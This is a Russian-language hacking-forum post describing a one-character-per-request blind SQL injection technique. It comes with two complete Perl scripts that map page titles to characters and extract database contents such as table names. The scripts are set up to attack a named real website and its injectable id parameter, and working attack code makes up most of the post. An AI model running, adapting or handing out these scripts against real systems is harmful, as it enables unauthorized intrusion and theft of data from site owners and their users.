обнаружил похожие способы уже после того как запостил:
https://forum.antichat.ru/thread117549.html
https://forum.antichat.ru/thread119047.html
Описание
К примеру есть такая инъекция
Код:
http://site.com/news.php?id=555 [SQL]
причем со следующими особенностями:
- отсутствует вывод (blind);
- большое количество разных страниц в зависимости от id.
в таком случае можно легко организовать брут со скоростью 1 символ на запрос
используя такую схему:
Код:
http://site.com/news.php?id=555-ord(substr((SQL),N,1))
где SQL - запрос, который надо внедрить;
N - номер символа.
То есть каждой возвращенной странице будет соответствовать один символ из результата подзапроса.
555'ая страничка например будет соответсвовать нулевому символу
490'ая - символу 'A'
Скрипты
Выложенные скрипты настроены для уязвимости на сайте www.properpolicing.org.uk.
Проще всего это было реализовать в виде двух скриптов на Perl. Интерфейс командной строки решил не делать, все настройки вносятся прямо в скрипт.
Первый скрипт дампит титулы нужных страничек. Переменные, требующие настройки:
$url - адрес целевых страниц. Параметр, который должен инкрементироваться обозначить как %i (например http://site.com/news.php?id=%i)
$n_begin, $n_end - с какой по какую страницу дампить. В примере выше для полного диапазона надо дампить с 300 по 555. Если нужны только печатаемые символы то хватит страниц 393 - 523
Собранные титулы сохраняются в файле titles.pl
Скрипт get_titles.pl:
Код:
#!/usr/bin/perl
use LWP;
use strict;
my ($url, $proxy, $n_begin, $n_end);
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#параметр, который должен инкрементироваться обозначить как %i
#
$url = 'http://www.properpolicing.org.uk/news-policingnorthwales.php?id=%i';
$n_begin = '280';
$n_end = '535';
#$proxy = 'http://localhost:8118';
$|++;
open LIST, ">titles.pl";
print LIST "%keys = (\n";
for(my $i = $n_begin; $i<=$n_end; $i++)
{
my $curr_url = $url;
$curr_url =~ s/\%i/$i/;
my $ua = LWP::UserAgent->new();
$ua->proxy(http => $proxy) if defined $proxy;
my $req = HTTP::Request->new(GET => $curr_url);
my $response = $ua->request($req);
my $doc = $response->content;
#регулярка для выбора ключа
$doc =~ /<title>(.*)<\/title>/;
my $key = $1;
$key =~ s/'/\\'/g;
print LIST "$i => '$key',\n";
print STDOUT "$i, ";
}
print LIST "\n);";
close LIST;
Второй скрипт собственно брутит.
Переменные, требующие настройки:
$sql - запрос, результат которого надо сбрутить(например "select version()")
$get_inj, $post_inj - инъекция, ее GET и POST части. Если POST не используется, его надо определить как undef. Пример:
Код:
my $get_inj = "http://site.com/news.php?id=%max-ord(substr((%sql),%nsymb,1))"
my $post_inj = undef;
те места в запросе, которые скрипту придется изменить в течении брута обозначаются специальными метками:
%max - сюда скрипт подставит номер странички от которого будет вычитание
%sql - здесь скрипт вставит подзапрос
%nsymb - здесь будут порядковые номера символов в строке ответа на запрос
Кавычки в инъекции надо экранировать.
$n_end - здесь номер странички от которого будет вычитание(в примере выше это 555)
Скрипт do_sql.pl:
Код:
#!/usr/bin/perl
use LWP;
use strict;
#запрос
my $sql = "select table_name from information_schema.tables where table_schema<>'information_schema' limit+0,1";
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#инъекция, GET и POST часть запроса
# %max - последний элемент таблицы ключей
# %sql - подзапрос
# %nsymb - номер символа в строке
#
my $get_inj = 'http://www.properpolicing.org.uk/news-policingnorthwales.php';
my $post_inj = 'id=%max\'-ord(substr((%sql),%nsymb,1))--+0';
my $n_end = 535;
my $proxy = undef;
die "titles not found\n" unless -e 'titles.pl';
our %keys; do 'titles.pl';
my %titles_reverse = reverse %keys;
my $num_symbol = 1;
$|=1;
my $k;
my %keys_num;
foreach $k(values %keys) {
$keys_num{$k}++;
}
while(1)
{
my $curr_get_inj = $get_inj;
$curr_get_inj =~ s/\%max/$n_end/;
$curr_get_inj =~ s/\%sql/$sql/;
$curr_get_inj =~ s/\%nsymb/$num_symbol/;
my $ua=LWP::UserAgent->new();
$ua->proxy(http => $proxy) if defined $proxy;
my $req;
if(defined($post_inj)) {
my $curr_post_inj = $post_inj;
$curr_post_inj =~ s/\%max/$n_end/;
$curr_post_inj =~ s/\%sql/$sql/;
$curr_post_inj =~ s/\%nsymb/$num_symbol/;
$req=HTTP::Request->new(POST => $curr_get_inj);
$req->content_type('application/x-www-form-urlencoded');
#print($curr_post_inj, "\n");
$req->content($curr_post_inj);
} else {
$req=HTTP::Request->new(GET => $curr_get_inj);
}
my $response=$ua->request($req);
my $doc=$response->content;
#регулярка для выбора ключа
$doc =~ /<title>(.+)<\/title>/;
my $key = $1;
my $res;
if ($keys_num{$key} > 1) {
$res = 0x3F;
} else {
$res = $n_end - $titles_reverse{$key};
}
print chr($res);
last if $res == $n_end;
#print $res, ", \n";
$num_symbol++;
last if $res < 32 || $res > 126;
}
print "\n";
Примечания
- иногда у двух разных страниц встречаются одинаковые титулы. Символы, которые относятся к таким ситуациям скрипт отмечает как '?'